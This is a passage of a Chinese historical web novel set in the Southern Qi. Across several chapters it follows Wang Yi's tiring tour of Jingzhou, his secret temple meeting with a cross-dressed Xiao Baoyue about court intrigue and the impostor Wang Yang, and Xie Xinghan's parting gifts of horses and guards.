注:南朝时,中央有门下省,地方州府亦有“门下吏”。州官中,主簿、西曹、录事、省事、记室等职合称门下,以主簿为首。所以庾黔娄相当于周乔上司。 第254章 访寺 新雨初歇,雾气未消。 陟屺寺后山,湿漉漉的石阶映着天光,一路蜿蜒至苍翠掩映的幽深之处。 阶旁老松垂露,时有水珠顺着松针滚落,在苔痕斑驳的石板上敲出泠泠碎响。水珠跳溅横滑,汇入青石凹处,聚成片片晶莹的水洼,仿佛—— 孔长瑜一脚踩在水洼上,心里骂了句脏话。 这几天孔长瑜被王揖折腾得够呛,又是搜街寻巷地找谁谁谁的故居,又是翻山越岭地寻哪哪哪的古迹。大半夜就得起床,说是要寅时登城观日出,出门的时候天还是黑的!看完日出又说要喝正宗的荆州茶,孔长瑜也是服了,他在荆州呆这么久,都不知道啥是正宗的荆州茶! 只好带他去品茗居,大早上人家还没开门,现让人叫的掌柜,这才喝上茶、吃上东西。结果没坐一会儿又说郭仲产在《荆州记》中写过,东吴大将朱然曾在江陵城南埋酒一坛,非要寻这坛酒!没办法,一队人带着铁锹,在路人奇异的目光中,连挖好十几棵树,最后还真刨出个破瓦罐,里头全是蜈蚣! 接着顶着大太阳上山,说要找什么摩崖石刻。一路上披荆斩棘,蹭了一身青苔不说,还险些从崖壁上滑下来!王揖还对着壁上面几道划痕大发感慨,说是刀剑遗痕,“此盖江陵古战场也”。孔长瑜凑近一瞧,那分明是滚石磕的!乌衣儿后来自己也发现不对了,又来了句“天地为炉,岁月为工,此非人力,实乃造化功!”,说完还他娘悠然自得起来了! 晚上也不消停。王揖不知道从哪听说陶渊明在江陵做官时,曾经夜半泛舟,沉诗稿于江,后诗动水族,有白鱼跃于江渚。这位琅琊名士来了兴致,号称“追蹑前贤胜事”,夜半三更,月夜泛舟!孔长瑜强打精神看王揖作诗投水,还得在旁边“击节赞赏”:“散骑‘夜深鱼龙寂,江空吴楚遥’一句,真得鲍明远神韵......”啊呸呸呸!!! 游江游到后半夜这才歇下,不过也歇不了多久,因为约好第二天一早在北渡口会合,乘船去西沙洲玩。孔长瑜顶着沉沉夜色和浓浓困意,咬牙提前赶到布置,结果连个人影都没有!等了将近一个时辰,才等来王揖一个家奴,说是王揖还没起,让“孔先生先歇息”。孔长瑜拖着疲惫的身子回家补觉,眼还没合就来人找了,说就等他一个人了!孔长瑜气得吐血,恨不得直接在荆州就把王揖剁了。 可没办法啊,自己出的主意说监视,又有王爷下的命令,咬着牙也得坚持。为了最大程度上迷惑王揖,还得做出一副任劳任怨、竭力逢迎的模样,就这么硬扛了大半日,累得是精疲力尽。这时王揖又突发奇想,说要赏荆楚佳人。孔长瑜乐得跟个什么似的,这要是把王揖弄进温柔乡里拴住,自己不就可以休息了!监视起来也方便啊! 所以赶紧安排交待一番,还特意选了一群厉害的,组成虎狼之师,让王揖也尝尝精疲力尽的滋味!结果王揖到场后说这些佳人都是给孔长瑜准备的,以谢他这几天陪游之情!还问他惊不惊喜! 孔长瑜拼命拒绝,王揖根本不听,直接一掷千金,悬以重赏!娘子军一拥而上!摧枯拉朽! 孔长瑜哭了,是真的哭了。第一天的时候有王扬掌控行程,好吃好喝好玩的,悠哉游哉,那是真的惬意。自从第二天王扬不来了之后,事情就变得失控起来了。他现在无比庆幸,王揖只在荆州待几天,这要是再来几天,自己会死,绝对会死! 现在唯一支撑孔长瑜这把老骨头不散的就是等着看王揖被乱刀砍死,唉,可惜没设计特定死法—— 此时只听王揖的声音传来:“我是死法,有死过患。若余众生,亦有死法。有死过患,若地狱、畜生、饿鬼、人、天及一切众生往来生死,得名众生者,皆有死法.....” 孔长瑜正想着王揖的死法,结果被王揖突然说了一大串什么死法什么的,吓了一跳,差点以为被王揖窥破心事!赶忙看向王揖,却见王揖已经停下脚步,神色若有所思。 孔长瑜肿着个黑眼圈,试探问道:“大人方才说的是......” 王揖眉眼悦然,饶有兴致地说: “此释家所谓‘死想明分法’,比丘或在树下、露处如是思惟。我们如今所在,便是‘露处’。孔先生以为,是自失命根为‘死’,还是‘苦恼多故,失智慧命’为‘死’?” 孔长瑜勉强挤出一丝笑:“这好好的,大人如何说到死了呢?” 王揖一指前方水洼: “观色如聚沫,受如水上泡。想如春时焰——” 说到这儿戛然而止,眼皮一掀,看向孔长瑜,似乎在等他接下一句。 孔长瑜有些窘迫:“呃......这个......说来惭愧,下官不太读佛典......” “哦。” 王揖收回手指,意兴阑珊道:“走吧。” 说完也不等孔长瑜,自己径直向前走去。 孔长瑜强压火气,笑着跟上道:“大人慢些,这路滑。” 摔不死你! 众人拾阶而上,行到一处褪了色的乌头门前,王揖吩咐侍从上前叩门。门开,一名灰袍僧人出门,双手合十,微微欠身道: “檀越安乐。此间乃鄙寺清修之地,不接外客。诸位若欲礼佛布施,参访伽蓝,可往前寺。” 王揖也双手合十还礼,说道: “弟子琅琊王揖,求见惠禅师,前日已下过拜帖,还望法师代为通传。” 僧人听见琅琊王三个字,看了看王揖,也没有什么别的表示,只是说道:“檀越稍候。”言罢转身便往里走。 孔长瑜见僧人竟不请他们进门等候,有些不悦。可见王揖吃瘪,又自快意。 等了一会儿,僧人返回,说道:“惠师正在坐禅,不便相见。檀越若有意,可于十日后讲经会时,再临垂顾。” 孔长瑜冷声道: “此是琅琊王氏、朝廷钦命正使、散骑侍郎王大人。尔等沙门竟敢如此怠慢?” 僧人神色不动,目光低垂,平静施礼:“请王散骑至前寺奉茶。” 孔长瑜佯怒:“你......” 王揖伸手制止孔长瑜,向僧人道: “惠师禅修,本不当扰,然弟子奉敕出使,三日后便要启程,归期难料。弟子久闻惠师高名,千里而来,只愿一面,此心甚诚,劳烦法师再为弟子通禀,纵只闻片言法音,亦感大德。” 那僧人行了个礼,又自去了。 孔长瑜故作忿忿:“自晋时沙门不敬王者,这些僧人便越发放肆了!” 王揖神色恬然: “心存至敬何必形屈,道在则尊岂论贵贱?沙门自有章法,非是轻慢。孔先生稍安勿躁,入寺随俗吧。” 孔长瑜见拱火不成,便笑而拱手道:“大人所言甚是,是下官浅薄了。” 等了一段时间,灰衣僧复来,又带来一个知客僧,请王揖入内。孔长瑜等人要跟入却被拦下:“惠师只请王散骑一人。” 王揖吩咐道:“你们在此稍候,若过半个时辰我还不出来,便去前寺等我。” 孔长瑜本待不从,可一来没有立场反对,二来没法强行跟着进去,三来看这几日王揖举止,完全是不务事的,根本没有一丁点要查案的意思。四来即便要查,见个老僧也没什么大碍。五来他发自内心,是真的真的不想跟着王揖逛了。本来就困,又不通佛法,这要是让他在旁边听,恐怕得直接睡过去。所以也就“得过且过”、“顺水推舟”了。 等王揖走后,孔长瑜问灰衣僧道:“这附近有能睡觉的地方吗?” ...... 王揖跟着知客僧穿过禅院,七拐八绕,进入暗巷,出了巷子,有一排石阶盘旋而上,登至顶端,豁然现出个窄院,回廊精舍,宛如小庙。 院中苍石棋台前,一个俊美异常的白衣公子正独坐自弈,见到王揖入院,手执折扇站起,压着声音拱手道:“王世叔远来辛苦。” 王揖愕然。 —————— 注:①见面问礼口念阿弥陀佛是净土宗修行的方式之一,来源于净土信仰和阿弥陀信仰的融合,因为简单易行所以广泛传开,和王弼注易,扫象不言,专谈玄理故而大兴于世是一个道理。南齐时已有净土信仰,也有阿弥陀信仰,且记载念诵佛号修行方式的佛经如《般若三昧经》《阿弥陀佛经》等早已传入且有了译本,但系统的宗派化尚未开始,亦无口诵阿弥陀佛的问候习惯。 ②《高僧传·神异下》:“释僧慧(也就是王揖口中“慧禅师”),姓刘,不知何许人。在荆州数十年。南阳刘虬立陟屺寺,请以居之......齐永明中,文惠要下京。” 文惠就是现在的太子,“要”通“邀”,下京就是去京都,因为荆州在建康上游,所以南朝时从荆赴京常用下字。 第255章 孰能辨之 只见那人银带环腰,束发不冠。翩衣流雪,逸袂飞云。 眉欺远山之色,却含三分剑气;眸剪秋水之光,偏带一段风流。 绛唇含丹,漫道是少年嗜酒;素手削玉,翻称作公子抚琴。 乍见疑是宋玉神魂,细观竟是西子幻真。 姿仪能压卫叔宝,风华敢笑潘安仁。 原是女儿身。 王揖笑道:“萧侄女一换男装,把我王家不知多少儿郎都比下去了。” 萧宝月展扇而摇,一副贵公子做派: “王世叔说笑了。江左风流,王谢居首。王氏芝兰满院,玉树盈庭,便是皇家也有所不及。” 王揖露出夸张的惶恐表情,连连摆手: “哎呦呦,可不敢这么说,可不敢这么说!” 萧宝月也神色夸张,眼角戏谑,折扇敲在掌心上,脆生生道: “这有什么不敢的呢?王世叔随便一个远侄,年未及冠,不过数月之间,便名动荆楚,一州才子之中,推为魁首。这般门第气象,别说我萧家,便是谢家也比不上的。” 王揖指了指萧宝月,唉声叹气: “你这丫头,这次可把我害惨喽!” 萧宝月似笑非笑: “世叔这话从何说起?我只是托世叔在有人询问的时候,帮忙遮掩一下,可没让世叔大张其事地演一出叔侄情深吧?” 王揖表情荒诞: “我大张其事?现在京中所有人都知道,那个破古文尚书、被刘寅下狱的王家小郎是我族侄,这是我遮遮掩掩就能糊弄过去的?” 萧宝月神色顿变: “怎么会这样?” 王揖“痛击”石案: “何止这样!我临行前天子召见,交待几句后突然问我:‘听说这次和柳家二郎一起被构陷的那个郡学子是你族侄?’” 萧宝月大惊:“连天子都过问了?”随即紧张问道:“世叔怎么说?” 王揖苦笑: “我能怎么说?只好含糊而应,说王家支系繁杂,然共承先祀;昭穆虽远,但未绝宗盟,刚说了这一句,天子便打断我,让我不必避嫌,说已经听丘雄说了,既是你家子弟,这次受了委屈,让我好好安抚一下。还说王氏多俊秀,族中英才皆国器,刘寅虽为州副,但敢深文巧诋,污凌华胄,朕岂能容?” 萧宝月神色几变,思索片刻问道:“丘雄是谁?” “吴兴丘氏,他父亲是丘冠先,就是出使河南道殉国的那个,现在做给事中。” 萧宝月点头: “想起来了。他为什么会和天子说这件事?还有,他是怎么知道的?” “谁知道啊!他之前来问过我王扬的事,我按照你说的,没否认。可我也没承认啊!谁知道他和天子怎么说的!我当时想澄清,却怕天子细究,并且天子这么说是圣意眷顾,表明倚重之意,我又不能不识好歹,只好拜谢圣恩。面完圣后我去找丘雄,问他到底和天子说了什么。丘雄说是前几日国子学释奠,天子车驾亲临,听杜乾光讲《尚书·尧典篇》,期间多征引王扬之说,当时丘雄随侍在侧,天子便问他王扬是谁,他和天子说是我远房族侄,还问我怎么了......” 王揖以手扶额,一脸郁闷: “我能说什么?!只好说是随便问问......” 萧宝月蹙眉: “丘雄不过一给事中(中|央办公|厅调研室组长),就算随行,能近御前?” “本来是不能的。但前一日秘书省编《永明诏》三卷成,初稿呈天子御览,天子读到《遣使河南道诏》时,思忆丘冠先,特诏其子随行伴驾,又赏赐衣物,待之甚是亲厚。” 萧宝月摩挲棋子,垂眸不语。 王揖看了眼萧宝月,故作叹气道: “这次我可算栽了。” 萧宝月目有深意: “王世叔一向高段,这点小事想来难不住你。再说,第一个到荆州的琅琊王,可不是世叔......” “你是说仲通?他可我亲侄!”王揖一脸凛然。 萧宝月理所当然道: “正因为是亲侄,才更应该以孝悌为本,替叔父分忧啊!” 王揖原本凛然的脸上,渐渐露出笑容,指着萧宝月道: “侯爷端肃沉毅,怎么生出你这么个鬼灵精来?”随即又哀声叹气起来:“不过这次过了圣上的眼,恐怕没这么容易......” 萧宝月心领神会,问道:“王世叔想要什么补偿?” 王揖摆摆手:“帮太子殿下一点小忙,有什么可补偿的?只是下一任的会稽太守......” 萧宝月正色道:“自然是王世叔。” 王揖满意一笑:“那就多谢了!” “得会稽不难,不过是否能监五郡兵......”萧宝月沉吟片刻,似有难色,随即话风一转:“但如果世叔意有所愿,那么太子殿下——” 王揖笑着打断道:“我只想去会稽,督不督五郡都无所谓的。” 萧宝月拾起一枚白棋,缓缓道: “世叔可曾见过能永远悬在局外的棋子?不管怎么选,总是要落子的。” 言罢,指尖那枚白子“嗒”地一声落在棋盘上。 “世侄女这话就说错了。” 王揖从棋盒中抓起一把黑子,先微微抬手,然后松开手掌。 棋子倾泻而下,尽数落回盒内。 王揖不疾不徐道:“这不都在局外吗?” 萧宝月唇角微扬,笑意中带着几分锋利:“便是在局外,也有黑白之分的。” 王揖摆出一副冤枉的神情: “我这次为了帮太子殿下,连我自己都折进去了,总不能说我是黑的吧!” 萧宝月见王揖仍旧不愿表态,语气调侃,又微带讽刺: “世叔啊,不瞒你说,你们叔侄俩还真是有点相像。” 王揖皱眉:“仲通?” “另一个。”萧宝月眉眼微微一冷。 “噢,世侄女要这么说,我倒觉得,反倒是你——” 王揖声音一顿。 萧宝月挑起眉梢:“我怎么了?” “你这身装扮倒让我想起——” 萧宝月唰的一声合拢折扇,俏脸一板: “我可不是学他!” 王揖笑道:“那或许是他学你吧。” 萧宝月先是一噎,随即冷冷道: “如此拿小辈寻开心,岂是长辈所为?” “不是寻开心,你这装束确实是——” 萧宝月恼了,起身便要走。 王揖忙道:“好好好,世叔说错了,世叔道歉行了吧!不过说真的丫头,我要你句实话,这小子到底什么来历?” 萧宝月冷淡道:“怎么了?” 王揖皱眉眉头,眼神费解,几次开口又闭上,仿佛思考未定,又好像在斟酌措辞: “他......他可不像是假的呀......” 萧宝月噗嗤一笑: “世叔堂堂琅琊王氏,连自家子弟真假都分不出来了?” “真耶假耶,庄周梦蝶,孰能辨之.....学问可以凭读书而得,便是眼界也可以借际遇开阔,但这份气度——” 王揖凝神不语,手指无意识地在棋案上敲着。 萧宝月绛唇轻撇:“那你没看到他斤斤计较的样子!” “嗯?”王揖看向萧宝月。 萧宝月挥了挥扇柄,似乎在打散王揖探寻的目光,随口道: “总之他这个人很小气的!” 王揖摇头: “我说的不是金钱用度,而是气韵风度。市井俗辈徒饰于貌,气韵风度却藏于神。听其言,观其色,辨其所好,察其所敬,可知韵度矣。 我观此人:如苍崖垂瀑,不较喧寂而长悬素练。又似古砚涵墨,未计浓淡已自蕴风华。宝剑藏匣不出,剑意能凛人魄;明镜悬堂未拭,光影可照山河。 此等气象,不是寻常门户能陶冶出来的。更何况此人学问见识,才气聪明,都是第一流的,不说寒门小户,便是高门势族之中,也不易见......” 萧宝月听得出神,喃喃道:“他还懂鸟虫篆......” 王揖眼睛一亮,如得意外之喜: “是吗?这不是大家子,说不过去吧?” 萧宝月想起王扬那副悠然的模样,便想咣咣给他两拳,此时听王揖如此大赞王扬,更是不爽,便揭短道: “有坑人饭钱、锱铢必较的大家子吗?” 王揖大感兴趣:“他还坑人饭钱了?” 萧宝月一拍桌案,彷佛终于找到宣泄口一般,喋喋道: “是啊!他坑人饭钱!还发明了一种送席面,叫什么‘货到付款’的坑人方式!他不光坑人饭钱!还坑人牛车!坑人马匹!常平仓坑士族粮食!王府里坑巴东王坑钱坑物坑人情!就连这折扇——” 萧宝月用力挥了挥手中折扇,越说越激动:“就连这折扇他都是坑人的!最开始卖一万一柄!当真是厚颜无耻!卑鄙下流!” 王揖听得哈哈大笑,连连抚掌,表情那叫一个精彩。 萧宝月:??? 王揖眼角笑出细密的褶皱,连声道:“妙妙妙——” 萧宝月怒目! 王揖好不容易喘匀了气,摇手笑道:“我不是说你,是说他。” 萧宝月杏目圆睁,折扇如剑,“咔”地抵在石案上: “他算计坑人,占人便宜,有什么可妙的?!” 王揖如饮美酒,双目微眯,似醉非醉,摇头晃脑道: “在我看来,以他的学问心性,远致高情,算计一些,占点便宜,非但无损风骨,反倒添了几分烟火真意。甚好!甚好啊!此人正中有邪,邪得自在通透;雅中有俗,又能俗得生意(生机)勃发。妙哉!妙哉呀!” 萧宝月目瞪口呆:这才是他亲侄儿吧...... 第256章 弗如也 王揖倾身向前,瞳孔里跳动着兴奋的光:“丫头,你别关子,跟世叔说说,这小子究竟什么来路?” 萧宝月没好气道:“我怎么知道......” 王揖眉头皱得老高:“这你都不查???” 萧宝月不胜其烦: “我查什么!荆州又不是我的地盘,查起来万一露了踪迹,被那个王发现怎么办!” “哪个王?” “巴东王啊!!” “哦哦。这样啊。”王揖神色遗憾。 萧宝月只觉无语!问王揖道: “你这么感兴趣,你怎么不查?” 王揖慢吞吞地回身坐正,叹了口气: “我哪有这个本事......” 萧宝月唇边勾起一抹促狭的弧度: “世叔谦虚了吧,不说你,就说你那个亲侄儿,本事也不小呀。” “之颜?” “王泰!” “哦,这个我不知道啊。”王揖一脸糊涂模样。 “你不知道?那你倒是说说,你侄儿来荆州,到底养的是哪门子病?” 萧宝月语气质疑,目光如炬,试图从王揖脸上找出蛛丝马迹。 王揖瞪大双眼:“之颜病了?” 萧宝月抓狂:“王泰!我说的是王泰!!” “哦哦。这个我真不知道。” “你不问?” “又不是绝症,有什么可问的......” 萧宝月:...... “我刚到荆州的时候,派人盯过他一阵儿,见他始终不出院子,就把人手撤了。可是你那个‘宝剑藏匣’的侄儿出现之后,我又重新注意起这个人来......” 萧宝月目带思索,声音不自觉地低了下来。 王揖好奇问:“他怎么了?” 萧宝月抬眸看向王揖: “他为什么不揭穿那家伙,你不好奇吗?还是说,你知道些什么......” 王揖双手一摊: “我可什么都不知道,也不好奇。侄儿们都大了,我这当叔叔可管不着,便是想管,也管不了啊!你要是好奇你就去查嘛。” “我会查,但不是现在。荆州的事要了了,我今晚就走。” “回京吗?”王揖顺口问道。 萧宝月不语。 王揖恍然笑道:“问多了问多了,那就祝世侄女乘长风,驾青云,一路平安顺遂。” 萧宝月摆出送客的架势:“那世叔这就......” 王揖道:“好,那我就告辞了。” 萧宝月见王揖起身便要走,问道: “世叔没有别的话要和我说吗?” 王揖故作不解:“什么话?” “巴东王让王扬出使,这一步可能意味着什么,世叔不会不知道吧。” “所以呢?” “所以世叔准备如何应对?” “世侄女愿意提供帮助?” “当然,还是那句话,只要世叔意有所愿,那么太子殿下——” 王揖微笑打断道: “多谢世侄女好意,我这个人,还是不习惯给别人添麻烦的。” 萧宝月面上浮着笑,声音微冷: “是不喜欢添麻烦,还是信不过?” 王揖做吃惊状:“这说的是哪里话?上有东宫、侯爷,下有你这丫头,我不信谁也得信你们呀!只是......望人者不至,恃人者不久,恃人不如自恃也。” “那你那个‘明镜未拭’的侄儿呢?”萧宝月突然问道。 “他怎么了?” 萧宝月漫不经心地把玩着折扇:“你要救他吗?” 王揖看着萧宝月,反问道:“你要救他吗?” 萧宝月目光如剑淬: “所以你还是要杀他?” 王揖再次反问:“所以你要杀他吗?” 萧宝月烦躁地一敲折扇: “世叔你还能不能聊了?!” 王揖笑问道:“你这么关心他做什么?” 萧宝月愣了愣,随即夸张地、断断续续地笑了几声,一副荒诞不经的表情,仿佛听到世上最可笑的话: “哈?关心?呵呵呵!你说我关心?哈哈哈哈......” 王揖静静地看着萧宝月。 萧宝月笑容一敛,眼底冷意几乎要溢出来: “我关心什么?只是他生死牵扯一些手尾,我需要处理一下罢了。” 王揖含笑点头:“是这样啊。” “当然是这样。所以呢,世叔是要救他,还是要杀他?” 萧宝月脸上露出毫不掩饰的轻蔑,彷佛只是在询问无关轻重的小事。 王揖摇头而笑。 萧宝月眯了眯眸子,眸中掠过刀锋般的锐利:“世叔笑什么?” “我笑你我杞人忧天。我们在这儿讨论要救要杀,生啊死啊的,其实说起来没什么意思的。王扬精明朗然,笼盖人上,你我都看得出来的事,他能看不出来吗?他需要我们救吗?或者换句话说,如果我们想杀他,便真能杀得了吗?” 王揖刚说到这儿,便听到一个清脆女声附和道: “是的,他确实不好杀!” 他寻声望去,见一个头戴银钗的可爱少女从禅舍窗里探出头来。 王揖好奇问道:“你也知道他不好杀?” 少女表情严肃:“此人武技承自东周时的武学大宗师公子南,会弧幽指——” “滚回去!” 萧宝月杀气腾腾,回扇一指。 少女如地鼠回洞般,嗖的一声便消失不见了。 王揖愕然:“王扬还会武?” 少女突然又冒出头来,神色无比严峻:“不光会武,还极擅用毒!” 萧宝月大怒:“来人!把心一给我吊起来!” 心一抱头鼠窜。 萧宝月和心一从小一起长大,怜三、白四等人知道萧宝月说的这是气话,倒也没真去抓人,一般要等到萧宝月说“还愣着做什么?马上吊!”之后才会出手。不过当然,那时候心一一般都“束手就擒”,否则,还真不太好擒...... 王揖这边一脸懵比,惊疑不定: “难道之颜还会用毒???” 萧宝月捂额:“那个是傻的,不用理她......不过——” 萧宝月放下手掌,审视王揖: “无论世叔你怎么赞王扬,但你本来是杀他以绝后患的,不管是借巴东王的刀还是你自己再行补刀,这一点你骗不了我。现在你说因为他‘妙哉妙哉’所以不动手,这我很难相信。” 王揖嘴角噙着惯常的笑意,回视萧宝月: “那世侄女你呢?你同样有理由杀人灭口,你为什么不动手?” 萧宝月呵了一声,高深莫测道:“世叔怎么知道我不动手呢?” 王揖一笑:“你若真要动手,今天不会和我谈这个话题。” 萧宝月不语,算是默认了王揖的说法。 王揖凝视萧宝月,眼眸洞若烛火,再次问道:“所以呢?所以你为什么不动手?” 萧宝月面无表情,声音冷漠: “我不动手只是因为暂时还不需要罢了,如果需要的话,我会动手。” 王揖盯着萧宝月看了一会儿,然后收回目光,懒懒地耷拉下眼皮,显得有些无精打采: “好吧,那就祝你好运吧。” 萧宝月则士气大涨,笑着调侃道:“世叔不为你的侄儿担心吗?” 王揖一笑。 萧宝月眉梢似利剑斜飞: “世叔的意思是,我胜不过王扬?” 王揖微微歪头,看向萧宝月。 萧宝月在王揖的目光下有些心虚,补充道:“论学问文才,器识洞见,我的确不如他。但若谋局算死,阴计权变,他不是我对手。” 王揖笑而不语。 萧宝月潇洒开扇,明艳的眼尾挑出几分勃勃英气:“世叔不信?” 王揖没有回答,而是抬起脖颈呼出一口气,松了松筋骨道:“丫头,我走了,你保重。” 说罢起身离去。 萧宝月眉峰渐高,眸光如雪刃出鞘,带着她独有的骄傲,对着王揖背影,清声说道: “世叔你等着看,如果有生死局的那一天,我会赢他。” 王揖脚步一顿,回头看向宝月: “我只问你一个问题,倘若你和王扬易地而处,是你孤身一人,冒姓琅琊,而王扬是西昌侯之子,你能不能活到今天?” 萧宝月一僵,骄傲的神色顿时凝固在眼角。 王揖背着手,悠然而去,口中低叹道: “弗如也,吾与女(汝),弗如也......” 萧宝月一人独坐, 久久不动,久久不语。 —————— 注:萧宝月和王揖能在陟屺寺见面的原因,见254章《访寺》尾注②便明。 第257章 谢客 暖日辉辉,晴云淡淡。 好井巷王宅外,车马不息,两个门房忙晕了头。 王扬名气大,交游圈又广,既通学问又通商,待人还不以门第自矜,不轻寒庶,平日里访客本就不少。只是王扬高树做学问、勤著述的大旗,又常“闭门钻研”,所以不太容易见到,关系不深的也不敢常来打扰,一般都是下了名帖,递了信,有机会见便见,不见也能留个印象。 可自从王扬即将出使的消息传出后,访客是络绎不绝,投刺如云。有来送礼的,有来作别的,有论学清谈的,有趁机拉关系的,这几天两个门房光是来回通禀便差点跑断了腿,今天好了一些,因为公子特意交代,今日闭门谢客,不许人打扰。所以他们不用通禀消息,只需要留下访客名刺便可以了。 但即便如此,这个活儿也并不轻松,来的人身份都不简单,黑管事又耳提面命,两人哪敢失礼?都赔着十二分小心,仔细应对,一上午便收了十五份名刺和三张请帖,外加两卷送给王扬雅正的书稿。虽然忙碌,不过赏钱也得了不少,听着铜钱在袖袋里叮当作响,心情还是很不错的。 正整理名帖时,忽见谢家的朱络乌漆车驶近,两人不敢怠慢,赶紧站起,小跑着迎上前去:“小的恭迎四娘子!四娘子万安!” 车停,小凝下车放置足榻,谢星涵掀开车帘,问道:“你们家公子在吗?” 门房抱歉说道:“回四娘子的话,公子在的,只是公子今日不见客,也不许我们打扰。四娘子有什么话如果是小的可以代传的,小的这就记下来,等到公子方便的时候,一定为四娘子传到。” 谢星涵眉尖轻蹙:“连我也不见吗?” “四娘子明鉴,想来公子交待的时候没想那么多,可我们做下人的又不敢违了公子的意思,要不......要不劳烦四娘子留个名刺,小的到时候一定第一个呈上去!” 小凝冷笑一声:“张门子好威风,让我们家娘子留名刺。” 张门房意识到说错话了,马上拍了一下自己的嘴: “四娘子恕罪!是小的嘴笨不会说话!您哪用得着留名刺?只是,只是公子特意嘱咐过不能放人进府,也不让我们通禀打搅,小的实在不敢擅作主张......” 谢星涵淡声道:“你叫黑管事出来。” 只要不叫公子叫谁都行啊!张门房马上让人去唤黑管事。 很快,黑汉一袭黑青色的交领袍衫,疾步生风而来。 谢星涵见到黑汉,便出了车厢,踩着足榻下车,张门房不知谢星涵是何意,难道还要特意下车再和黑管事说话?正疑惑间,只见黑汉躬身抱拳引路:“四娘子请。” 谢星涵也不问,只是道了一声“有劳”便往门里走,边走边说道:“我带来点东西,你安排运一下。” 黑汉谨然应诺。 张门房低声问黑汉道:“管事问过公子了?” 黑汉摇头。 张门房吃了一惊:“这如何使得!” 却见谢星涵已经入院,也没法再拦,不由得大急:“这这这......公子特意吩咐过的!” 黑汉道:“像这种不见客的情况,四娘子是不用拦的。除非公子特意提到要拦,或者强调无论谁来都不例外。” 张门房有些疑惑:“这是公子的意思吗?闭门谢客难道不包括四娘子?难道说四娘子......” 他说到这儿突然发现黑汉正在用一种冷峻的眼神看着他,连忙住口,从袖中取出一份包好的赏钱,呈给黑汉:“请管事指点。” “我没什么好指点的,你只要记住一句话,不该议论的事不要议论,多看,多听,多想,少说。” “是是是,我记下了。多谢管事!” 黑汉没有拿钱,转身和谢府的人交接起来。 张门房看着黑汉的背影,心生羡慕:“管事这身衣服可真好看,我什么时候才能穿上这样好的衣衫......” ...... 谢星涵和小凝穿过第一层院落,见中门紧闭,陈青珊和小阿五一大一小,正在扒门缝。陈青珊听身后有脚步声,立即弹开,脸颊绯红,然后想起了什么,碰了碰阿五,阿五不觉有人,还扒着往门缝里可劲儿瞧,嘴里念叨道:“着了着了!” 谢星涵微笑问道:“什么着了?” 小阿五汗毛一竖,僵硬回身,结结巴巴道:“谢......谢娘子......” 谢星涵笑眯眯道:“你要谢我什么呀?” 小阿五向来胆大,但不知道为什么,一见到谢星涵便如耗子见猫一般,被稳稳压制,此时急中生智道:“谢......谢娘子不告发阿五!” 谢星涵露出小恶魔般的笑容,一步步走向小阿五。 小阿五瑟瑟发抖,退无可退,小小的身子抵在门上,一副受刑模样。 谢星涵弹了阿五一个栗暴,然后玉颜微低,香鬓斜垂,俯身凑近门缝儿。 珠钗玲珑,漱响细于耳畔;罗袖窸窣,盈香散于风前。 陈青珊和小阿五对视一眼,默契上前,跟着谢星涵一起偷看。 小凝看着三人一起扒门的场面,已经不想说什么了...... 三人透过门缝,只见王扬围着个火盆走来走去,好像念念有词似的在念着什么,然后手臂舞动,做着什么动作,咦,这是在干嘛?是什么舞吗?还是——砰! 火光冲天! ...... 王扬洗了把脸,换了身衣服,走进正厅,自顾自地倒茶喝,余光看见谢星涵、陈青珊、小阿五、小凝的目光随着他的动作起伏来回,出奇一致,仿佛四只小猫盯着逗猫棒一样,不由得好笑。转身向四小只道: “我启程前请大家吃饭,随便点!就是香雪楼也不是不行啊!机不可失,大家看看想吃什么?” 谢星涵率先发问:“你不说说刚才是什么情况吗?” 另外三只看着王扬,一起点头。 王扬道:“哦,变个小魔术,有点没太发挥好......” 四女:??? “魔术是什么?”阿五问。 “呃......就是蒙人的。” 陈青珊若有所思:“那就对了,他最喜欢蒙人了......” 王扬:...... 正说话间,黑汉来报,说箱子已经运进府,马牵进槽,人也进院候着了。 王扬疑惑:“什么箱子?什么马?什么人?” 谢星涵道:“你不是三天后就走了嘛,我给你准备了些路上用的东西,都是小物件儿,你看看有用的就带,没用的就放着。马是辽西大黑驹,一共两匹,你和陈家妹妹一人一匹......” 陈青珊一听说辽西大黑驹眼睛一亮,又听到自己也有一匹时就更高兴了! 欸?为什么叫我妹妹?难道她比我大吗? 陈青珊短暂地迷茫了一下,不过想到有大黑驹骑,这点小事当然就不在意了...... 小珊跃跃欲试,都有点坐不住了,伸着脖颈向院外看,仿佛在这儿就能看见马槽似的。 王扬道:“小珊,你去试试马,再和老宋说一下,这大黑驹应该怎么养。” 小珊喜滋滋地去看大黑驹。 阿五看了看谢星涵,说道:“公子,我也想去看看大黑驹。” 王扬笑道:“好啊。” 阿五水灵灵地去看大黑驹。 谢星涵看向小凝。 小凝不解,回看谢星涵。 谢星涵使了个眼色。 小凝意会,神色踟蹰。 谢星涵眉梢微挑,眼尾一压,星眸中闪过一丝锐利。 小凝只好道:“娘子,我,我也想去看看大黑驹......” 谢星涵叹了口气:“这傻丫头,自己家牵来的马还没看够,那就去看吧!” 小凝:??????? 小凝气闷闷地去看大黑驹。 王扬问谢星涵:“箱子和马说完了,人是什么意思?” 谢星涵背着手,俏脸微侧,神色飞扬: “人嘛——是我给你找了四个高手,黑管事,叫他们进来。” 黑汉看向王扬,王扬点头。 黑汉领命而去,片刻后带着四人入院,四人短衣长刀,神色干练,列成一排,一起向谢星涵躬身行礼:“主人。” 谢星涵向王扬道:“这是我家护卫,身手不错,以后跟着你,听你调遣。” 王扬有些迟疑:“这,这怎么好意思......” 谢星涵雷厉风行,一挥手道:“这有什么的......”然后向四人说:“你们四个从今天起便跟着王公子,以后他就是你们主人。” 四人面向王扬,一齐下拜:“拜见主人!” 王扬见状也不推脱了:“四位请起,不用叫主人,叫公子便好。” 四人再次下拜:“拜见公子!” 王扬寒暄了几句,便让黑汉给四人安排住处,黑汉领着四人告退后,王扬凑近问谢星涵道:“话说......他们月俸多少钱?” 第258章 片言如契 谢星涵皓腕轻舒,拨了拨发间的紫琉璃珠钗,语气随意道: “没多少,也就几万吧。” “多少??????????” 王扬傻了。 谢星涵纤手掩口,笑得星眸弯弯。 王扬意识到被骗,凑趣地拍拍胸口,一副心有余悸的模样: “知道我胆子小,你还吓我......” 谢星涵皱了皱鼻尖,少女哼哼: “你胆子小?你胆子才大呢!” 王扬幽幽一叹: “胆大架不住人穷啊......” 谢星涵有些好奇:“到底有多穷?” 王扬转移话题道:“别打岔,我问你月俸的事儿呢。” “反正是从我家账上领钱,你不用管!” 王扬断然道:“那不行,你都把人送给我了,月俸自然得我出。” 谢星涵侧头不理王扬: 